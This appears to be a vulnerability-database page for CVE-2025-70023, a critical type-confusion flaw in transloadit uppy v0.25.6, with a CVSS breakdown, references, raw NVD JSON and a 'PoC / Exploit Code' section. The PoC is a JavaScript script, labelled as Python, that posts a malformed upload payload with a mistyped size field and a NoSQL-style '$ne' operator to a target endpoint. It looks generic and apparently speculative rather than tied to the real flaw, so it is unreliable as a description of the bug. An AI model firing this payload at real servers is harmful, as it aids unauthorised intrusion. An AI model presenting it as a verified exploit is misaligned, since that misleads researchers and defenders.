CVE-2025-70023

Description

An issue pertaining to CWE-843: Access of Resource Using Incompatible Type was discovered in transloadit uppy v0.25.6.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

transloadit uppy v0.25.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2025-70023: Type Confusion in transloadit/uppy
// This script demonstrates sending a payload with incompatible types
// to trigger the vulnerability.

const axios = require('axios');

const targetUrl = 'http://target-server/api/upload';

// Malformed payload exploiting type confusion (CWE-843)
// Constructing an object where a primitive type is expected
const exploitPayload = {
  "files": [
    {
      "name": "test.jpg",
      "size": "INVALID_TYPE_STRING", // Expecting Integer, sending String
      "type": "image/jpeg",
      "meta": {
        "source": "upload"
      }
    }
  ],
  "options": {
    // Sending an object where a boolean or specific string enum is expected
    "allowDuplicates": { "$ne": null } 
  }
};

async function triggerVuln() {
  try {
    console.log(`[+] Sending exploit payload to ${targetUrl}...`);
    const response = await axios.post(targetUrl, exploitPayload, {
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json'
      }
    });
    console.log(`[+] Response Status: ${response.status}`);
    console.log(`[+] Response Data: ${JSON.stringify(response.data)}`);
    // Check for indicators of successful exploitation (e.g., debug info, error, or unexpected behavior)
  } catch (error) {
    if (error.response) {
      console.error(`[-] Server responded with status: ${error.response.status}`);
      console.error(`[-] Error Data: ${JSON.stringify(error.response.data)}`);
    } else {
      console.error(`[-] Request failed: ${error.message}`);
    }
  }
}

triggerVuln();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-70023
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-70023
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-70023/
[4] VulDB https://vuldb.com/cve/CVE-2025-70023
[5] https://gist.github.com/zcxlighthouse/27926a85371ac5d2291f44903254753e
[6] https://github.com/transloadi
[7] https://github.com/transloadit/uppy

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-70023", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:41.677", "lastModified": "2026-04-17T15:38:09.243", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue pertaining to CWE-843: Access of Resource Using Incompatible Type was discovered in transloadit uppy v0.25.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://gist.github.com/zcxlighthouse/27926a85371ac5d2291f44903254753e", "source": "[email protected]"}, {"url": "https://github.com/transloadi", "source": "[email protected]"}, {"url": "https://github.com/transloadit/uppy", "source": "[email protected]"}]}}